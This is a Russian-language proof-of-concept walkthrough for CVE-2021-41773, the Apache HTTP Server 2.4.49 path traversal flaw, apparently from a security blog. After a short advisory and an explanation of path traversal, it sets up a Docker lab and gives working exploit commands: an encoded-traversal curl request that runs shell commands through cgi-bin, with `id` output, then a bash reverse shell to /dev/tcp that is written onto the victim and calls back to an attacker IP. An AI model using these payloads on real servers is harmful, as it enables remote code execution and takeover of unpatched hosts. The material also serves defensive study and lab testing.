CVE-2021-41773

🐛 Уязвимость обхода пути и раскрытия файлов в Apache HTTP Server 2.4.49

В изменении, внесённом в нормализацию путей в Apache HTTP Server 2.4.49, была обнаружена ошибка. Злоумышленник мог использовать атаку с обходом пути, чтобы сопоставлять URL-адреса с файлами за пределами каталогов, настроенных директивами, подобными Alias.

Если файлы за пределами этих каталогов не защищены обычной конфигурацией по умолчанию «require all denied», такие запросы могут быть успешными. Если для этих путей с псевдонимами также включены CGI-сценарии, это может позволить удалённое выполнение кода.

Известно, что эта уязвимость эксплуатируется в реальных атаках.

Эта проблема затрагивает только Apache 2.4.49 и не затрагивает более ранние версии.

source

Обход пути

Обзор

Атака с обходом пути (также известна как directory traversal) направлена на доступ к файлам и каталогам, которые хранятся за пределами корневого каталога веб-сайта. Манипулируя переменными, которые ссылаются на файлы с последовательностями «dot-dot-slash (../)» и их вариациями, или используя абсолютные пути к файлам, можно получить доступ к произвольным файлам и каталогам, хранящимся в файловой системе, включая исходный код приложения, конфигурацию и критические системные файлы. Следует отметить, что доступ к файлам ограничен системными операционными средствами контроля доступа (например, в случае заблокированных или используемых файлов в операционной системе Microsoft Windows).

Эта атака также известна как «dot-dot-slash», «directory traversal», «directory climbing» и «backtracking».

Доказательство концепции

Настройка среды PoC

$ docker-compose build
$ docker-compose up

Проверяем, что всё работает

$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>

Эксплуатация

Жертва : localhost:1234
Атакующий : 192.168.1.12

Согласно документации, это уязвимость, которая позволяет удалённо выполнять код (RCE).
Мы можем воспользоваться ею, выполнив curl с папкой cgi-bin.

$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'

1. RCE
Проверим, действительно ли у нас есть доступ к команде, например id :

$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)

2. Reverse shell
Протестируем reverse shell, создав bash-файл на сервере жертвы.
В качестве примера возьмём reverse shell на bash из репозитория PayloadsAllTheThings repo.

Вот пример :
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

Создадим файл vuln.sh на машине жертвы в папке /tmp/ !
Этот файл будет содержать наш reverse shell, который мы сможем запустить удалённо. Он подключится к нашей локальной машине на порту 44.
```
$  curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
```
Вы можете проверить содержимое файла с помощью команды cat

CVE-2021-41773m

Популярное